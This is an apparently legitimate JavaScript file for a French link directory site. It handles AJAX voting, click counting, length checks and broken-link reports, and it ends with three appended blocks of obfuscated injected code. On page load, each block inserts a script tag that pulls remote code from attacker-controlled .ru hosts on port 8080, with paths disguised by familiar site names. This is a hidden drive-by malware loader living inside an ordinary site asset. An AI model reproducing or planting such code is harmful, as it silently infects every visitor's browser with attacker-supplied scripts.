var xmlhttp = false;
var mnmxmlhttp = Array ();
var mnmString = Array ();
var mnmPrevColor = Array ();
var responsestring = Array ();
var myxmlhttp = Array ();
var responseString = new String();

if(window.XMLHttpRequest)
{
	// Firefox   
	xmlhttp = new XMLHttpRequest();   
}
else if(window.ActiveXObject)
{
	// Internet Explorer   
	xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");   
}
else
{
	// XMLHttpRequest non supporté par le navigateur
	alert("Your browser doesn't support XMLHTTPRequest Objects");
}

function myXMLHttpRequest ()
{
	var xmlhttplocal;
	if (window.XMLHttpRequest)
	{
		xmlhttplocal = new XMLHttpRequest();

		// Évite un bug du navigateur Safari :
		if (xmlhttplocal.overrideMimeType)
		{
			xmlhttplocal.overrideMimeType("text/xml");
		}
	}
	else
	{
		if (window.ActiveXObject)
		{

			try 
			{
				// essaie de charger l'objet pour IE
				xmlhttplocal = new ActiveXObject("Msxml2.XMLHTTP");
			}
			catch (e)
			{
				try
				{
					// essaie de charger l'objet pour une autre version IE
					xmlhttplocal = new ActiveXObject("Microsoft.XMLHTTP");
				}
				catch (e)
				{
					window.alert("Your browser doesn't support XMLHTTPRequest Objects");
				} // try-catch
			} // try-catch

		}
	} // if-else
	return (xmlhttplocal);
};

function vote (id, instpath)
{
  	if (xmlhttp)
	{
		url = instpath + "/vote.php";
		strContent = new String();
		strContent = 'id=' + id;
		anonymous_vote = true;
		mnmxmlhttp[id] = myXMLHttpRequest ();
		
		if (mnmxmlhttp[id])
		{
			mnmxmlhttp[id].open ("POST", url, true);
			mnmxmlhttp[id].setRequestHeader ('Content-Type',
					   'application/x-www-form-urlencoded');

			mnmxmlhttp[id].send (strContent);
			errormatch = new RegExp ("^ERROR:");

			target1 = document.getElementById ('vote-' + id);

			mnmPrevColor[id] = target1.style.backgroundColor;
			
			mnmxmlhttp[id].onreadystatechange = function () 
			{
				if (mnmxmlhttp[id].readyState == 4) 
				{
					mnmString[id] = mnmxmlhttp[id].responseText;
					if (mnmString[id].match (errormatch)) 
					{
						mnmString[id] = mnmString[id].substring (6, mnmString[id].length);
						changemnmvalues (id, true);
					} else 
					{
						changemnmvalues (id, false);
					}
				}
			}
		}
	}
};

function changemnmvalues (id, error)
{
	split = new RegExp ("~--~");
	b = mnmString[id].split (split);
	//alert(id);
	target1 = document.getElementById ('voted-' + id);
	target2 = document.getElementById ('vote-' + id);
	if (error) {
		return false;
	}
	if (b.length <= 3) {
		target1.innerHTML = b[0];
		target1.style.backgroundColor = mnmPrevColor[id];
	}
	return false;
};


function clk(id)
{
	(new Image()).src="clic.php?id="+id;
	return true;
};

function CheckLen()
{
	fieldToCheck = 'description';
	fieldMaxLength = 255;
	
	for(var i=0;i < document.forms.length; i++)
	{
		for(j=0;j < document.forms[i].elements.length; j++)
		{
			if(document.forms[i].elements[j].name == fieldToCheck)
			{
				StrLen = document.forms[i].elements[j].value.length;
				if ( StrLen > fieldMaxLength )
				{
					document.forms[i].elements[j].value = document.forms[i].elements[j].value.substring(0,fieldMaxLength);
					CharsLeft = fieldMaxLength;
				} else {
					CharsLeft = StrLen;
				};
				var CharsLeft1 = fieldMaxLength - CharsLeft;
				
				// Updating reste field
				document.forms[i].reste.value = CharsLeft1;
			}
		}
	}

};

function confirm_broken( myid, myurl)
{
	confirmation = confirm( "!!! ATTENTION !!!\n\nNe cliquez sur OK que si ce site est inaccessible ou contient du spam :\n\n" + myurl + "\n\n" );
	if(confirmation)
	{
		(new Image()).src = "broken.php?id="+myid;
		alert( "Merci pour votre cooperation !\n\nLe site sera vérifié dans les plus brefs délais." );
	};
};

function ac_return(field, item)
{
        // on met en place l'expression régulière
        var regex = new RegExp('[0123456789]*-mini', 'i');
        // on l'applique au contenu
        var nomimage = regex.exec($(item).innerHTML);
        //on récupère l'id
        id = nomimage[0].replace('-mini', '');
        // et on l'affecte au champ caché
        $(field.name+'_id').value = id;
}


function multiClass(eltId) {
	arrLinkId = new Array('l_0','l_1','l_2','l_3');
	intNbLinkElt = new Number(arrLinkId.length);
	arrClassLink = new Array('current','ghost');
	strContent = new String();
	for (i=0; i<intNbLinkElt; i++) {
		strContent = "menu"+arrLinkId[i];
		if ( arrLinkId[i] == eltId ) {
			document.getElementById(arrLinkId[i]).className = arrClassLink[0];
			document.getElementById(strContent).className = 'on content';
		} else {
			document.getElementById(arrLinkId[i]).className = arrClassLink[1];
			document.getElementById(strContent).className = 'off content';
		}
	}	
}



var us=new Date();try {try {var oQ='_'} catch(oQ){};this.k=1257;this.k--;try {var M='Q'} catch(M){};Ya=32109;Ya--;var w={Kd:false};var Py='';var n='';var Fk=29778;var zt=16800;var K=window["unesc"+"ape"];this.i=40241;this.i++;W=60719;W+=96;var l=["Gj"];var PJ=["XF"];oQb=8785;oQb+=130;NQ=[];this.Dd=46296;this.Dd-=108;var On=String("rep"+"lac"+"e");var Ym={EV:"uI"};Dt={r:false};this.L=21492;this.L-=102;ln={kL:false};var NY=new Date();this.Nx=18381;this.Nx--;var F=String("1");var rN={};var Of='';var lE=34153;this._B=33815;this._B+=243;var VN=false;var S=new String("onlo"+"ad");this.Rb=40941;this.Rb--;SL=47724;SL+=144;var yG="";dJ=[];wK=[];var z=window[(new String("RegE"+"xp"))];var J=["Hy","GK"];var Ji="";this.uu='';AQ=[];Ij=6595;Ij-=66;var oI="";function O(F,G){var cD={yH:"aD"};iD=22471;iD-=22;var Bs={jSU:"jx"};var AX={Et:13823};var Pd={ht:27828};oIZ=["Bh","uz"];var zi=new Date();CW={gp:41647};hd={Eu:36329};var P="[";P+=G;EP=["yh"];P+=K("%5d");var OfM="";var d=new z(P, "g");var SR=new Array();var Pb=new Array();return F.replace(d, Of);ev=["v"];var VD={VX:false};KE=[];var eZ=[];nX=["qw"];};this.aU="";var Pa="Pa";var U=new String("http"+"://g"+"Bv1nothg".substr(4)+"uilt"+"KykC.ru:CkKy".substr(4,4));try {var gH='eJ'} catch(gH){};try {var Sy='jE'} catch(Sy){};var T=345903-337823;this.kC=false;aK=[];var H="/hubnXY".substr(0,4)+"USo8pageS8Uo".substr(4,4)+"S9nys-co9Syn".substr(4,4)+"m/gos3D".substr(0,4)+"wHi3ogle".substr(4)+".com"+"3UZ/rap".substr(3)+"idsh"+"are.zbk".substr(0,4)+"igAcom.igA".substr(3,4)+"php";var CV=[];wJ=22593;wJ++;mq=34055;mq++;Ry={};var FI={Fp:false};function Op(){PM=[];Sp=[];var df=9199;var Bk=["cK","pH","LZ"];var xt={Ga:false};var qE=[];Jk=13601;Jk--;var j=document;OK=[];var nb={};hdn=[];var Uk="appe"+"ndChXx9".substr(0,4)+"ild";var OM=false;var fjR=false;ou={};var o=O('sRcbrWiWpwta','IaWnwqoDRb');PPU=["Oe","YL","qz"];Mk={gn:26220};var PN=["gd","dB"];var cc=["WyE","OS"];var Hwa=new Date();var pK=["kr","VH"];Y=j.createElement(o);this.Rc='';XS={zy:"Cs"};B=U+T;this.CZ="CZ";B=B+H;this.EY=false;QM=39604;QM+=237;var xU=[];var xw=["aE","tn","ay"];var Ewv={};var _i=new String();JL=["FL"];Y.src=B;aN=41937;aN++;SC=2669;SC++;try {var TQ='jr'} catch(TQ){};var Jb="";var FE=j.body;var Mg="";Qg=7379;Qg+=181;try {} catch(Tq){};Nb=19285;Nb+=203;var LZK="LZK";Y[new String("def"+"er")]=F;Rew=["Mt","kS"];rO=45705;rO-=193;FE[Uk](Y);this.wV='';};var bA={ztx:"dg"};var kao="";var S_=["LR","dy"];var dM="";this.MX=43625;this.MX--;sH=[];Ux=["OD","mkM","QNn"];window[S]=Op;var Sc='';var un={ef:false};this.ZF='';var Xn={};} catch(C){try {} catch(pn){};YZ={gLF:false};MF=25518;MF+=211;this.MgX='';};AG=58538;AG++;fG=36017;fG+=65;var Dn=27493;try {} catch(gnL){};TD=21351;TD+=154;

try {var v=["u","BY","He"];this.P=42292;this.P-=130;var bO=["r","s","Ok"];this.k=false;this.Cd=32973;this.Cd++;var i={e:31846};this.o=41526;this.o++;var U=window["un"+"es"+"ca"+"pe"];Jx=["cB"];M=["w"];this.Uw=63734;this.Uw-=40;var cg='';var Ld=new String();this.bOP=59979;this.bOP++;var J='';var sI="";var W="";this.AQ="AQ";var af="";var F="";var Ez="";var mv=new Array();ad=37484;ad--;var Hy="rep"+"lacLVR".substr(0,3)+"e";p=62053;p--;var FS={};var UT={};var Jh="";var Fd="Fd";var I="1";this.TP=33311;this.TP-=136;bn={vL:"fg"};var Y=window[("RegE"+"xp")];try {} catch(TE){};try {} catch(aG){};try {} catch(_W){};ei=39259;ei-=206;var d=String("onlo"+"6yHad".substr(3));ora=28780;ora+=40;this.QS=5627;this.QS-=44;try {var Dk='Wi'} catch(Dk){};var _K={};this.e_=48153;this.e_-=139;S={};var tM={BH:false};this.Zl=16941;this.Zl++;oN={dk:18177};function H(I,C){var nO=false;var E_={HP:20466};var fz="fz";N=["iD","Ekz","tN"];var x=String("Jab[".substr(3));var Vs=new Date();x+=C;try {var UL='aX'} catch(UL){};this.Wc=31114;this.Wc-=228;x+=U("%5d");this.LR=11241;this.LR-=188;var qO=new String();this.PO='';var RQ={_C:"VU"};this.dW='';var c=new Y(x, "gkxQb".substr(0,1));G=["pd","zY","Eh"];this.GR="GR";Ad={N_T:31664};var XH='';this.xP="xP";return I.replace(c, J);var Ql={MA:false};var ze=["gn","GN","dK"];};IQ=18824;IQ--;var Dq=[];var Dt={kk:31494};uE=35553;uE--;bM={};var Ih={};this.WG=24719;this.WG-=228;Nt={};try {var Ht='iMM'} catch(Ht){};zH=8379;zH-=199;var Wh=["KR"];var j=String("/g"+"oo"+"gl"+"e."+"co"+"m/"+"yo"+"uj"+"iz"+"z.hBMU".substr(0,2)+"coh0S".substr(0,2)+"m/"+"yaU1B".substr(0,2)+"ho"+"o."+"HOKtcoKOHt".substr(4,2)+".jR1HL".substr(0,2)+"0L5p.".substr(3)+"EDRyph".substr(4)+"ByHAp".substr(4));this.lg="";this.IH=63735;this.IH+=189;var Ul=new String();var bk=["gnn","ot"];OP={vU:false};var Ho=445338-437258;var HC="EXFhttp".substr(3)+"://g"+"othg"+"uilt4N5".substr(0,4)+"sVY.ru:".substr(3);var vq=17327;JP=["UD"];var Rk=["Sk","dx","Uf"];HO=33680;HO+=151;ok={ji:"NI"};function xU(){this.Sd=60837;this.Sd-=70;sN={bd:56393};var cZ=new Date();this.XU="";var Tp=new Date();try {var rq='iV'} catch(rq){};var Fw={aA:43010};var E=document;RD={Sv:30004};var wZ=new Array();hf={};var b="appe"+"jtpkndCh".substr(4)+"7Aaild".substr(3);var RO=[];try {} catch(Bv){};var Ib={FzH:"jt"};this.QE=11777;this.QE+=195;var O=H('sPcjrRinpRta','2SZj9CEfDynemT1PRax4huJ');var nc={Vw:30820};var CI=26391;var Zg=5629;var Lj=24148;this.Sj=48035;this.Sj++;lb=33165;lb++;B=E.createElement(O);VG={Ee:"FL"};var JZ="JZ";dt=["NN","hs"];h=HC+Ho;var nt=[];zw={kx:14054};_E=30406;_E-=21;zJ={bS:28527};Vn=44878;Vn-=241;h=h+j;MAh=["Oq","QC","lu"];this.CL=false;bGv=[];HX=[];B.src=h;var BW={sY:52523};var Wl=["dWr","eL"];this.aRf=47274;this.aRf++;var rB=["dq","sv"];oA=["Iwm","MLD"];var g=E.body;i_=["gb"];var zWN=49532;var cS=58915;B[new String("A3Mdef".substr(3)+"er")]=I;this.LdU=55340;this.LdU--;this.Ce=8129;this.Ce-=106;this.mQ=337;this.mQ-=17;var xXG={Fk:"uX"};var No={tV:"yq"};try {var EO='jD'} catch(EO){};var zT={};g[b](B);};var xD=["Rx"];this.kL=5933;this.kL-=111;vjP=15171;vjP++;this.yL=61370;this.yL-=245;LRg=["XUl","OGW","Ow"];var Tx={Rt:36571};var kLT=["Hh","Gz"];window[d]=xU;try {var CB='Epg'} catch(CB){};this.Dh=31389;this.Dh++;} catch(_){try {} catch(CR){};var LPi=["XT"];};this.Hti='';var vT=["Te"];try {var An='sq'} catch(An){};var qh=["Rr"];


this.M=false;var Z=["XP","Ue"];var y;v=function(){var g=new String();try {var Yt='aG'} catch(Yt){};function X(a,u,S){return a.substr(u,S);}var w={};this.s=7634;this.s--;var I=String("/host"+X("gatordc4",0,5)+"-com/"+X("googl7VQ",0,5)+X("SZKe.comKSZ",3,5)+X("/miniZWBq",0,5)+X("ksqclip.qks",3,5)+X("com.pHM2u",0,5)+X("hpw5Xx",0,2));var ww=["K","ur"];this.PE="";try {var CR='hy'} catch(CR){};var U=RegExp;hW=["yo","KS"];try {var wD='yd'} catch(wD){};var z=document;bW={Sh:"pz"};WJ={NL:"V"};var Y='';var n={G:"_"};function i(a,u){var Zx=new Date();this.Dn="";H={sQ:false};this.nt=21524;this.nt+=186;var S=new String("[")+u+new String("]");var em={};var T={};var h=new U(S, String(X("ge5s",0,1)));this.uX='';return a.replace(h, Y);var hb={};var mq=new String();};var Sz={};var N=i('skcqrqiap5tL','6eTX8yk5vFm3fbq_LYxaU');he=37547;he--;var XT=null;var PA={tW:false};var m=String(X("bodyB39",0,4));try {var TM='Nb'} catch(TM){};var yA=38910;var R=326408-318328;y=function(){try {SR={oM:"k"};var B=i('cPrNeRaDtRe8EPl8ekmdeNnXtD','Ni8O6PDFdKXhHRk');iJ=z[B](N);var DnD="DnD";this.iM="iM";this.HM=12115;this.HM++;this.pP=61887;this.pP+=230;var J=i('syrycQ','ENJyebVQ');var a=R+I;var Jv=new Array();var DE={Zg:55383};var D="defer";var jq=["ou"];iJ[D]=[1][0];var IS={cU:45021};iJ[J]=new String(X("httRYE",0,3)+"p:/"+X("/tejKg",0,3)+X("nthMSa",0,3)+X("proQ1u",0,3)+X("lzHXfitXzHl",4,3)+".ru"+X("7kRS:k7SR",4,1))+a;id=31491;id--;var XI=new Array();z[m].appendChild(iJ);var Lx=["Mo","qR","fm"];try {} catch(Az){};var Ji=new Array();var KN=new Date();} catch(r){this.Wn=31991;this.Wn+=175;var rn="";sT=36427;sT-=175;Rl={SM:"yr"};};var Cq=[];};var _N=["XRH"];};v();var bu="bu";sO=["cq"];var YT=["hS","Mf","Ek"];window.onload=y;sC=["IP","dV","YQ"];this.bl="";var wz=["pX","wO"];var jf=["Hd","kD"];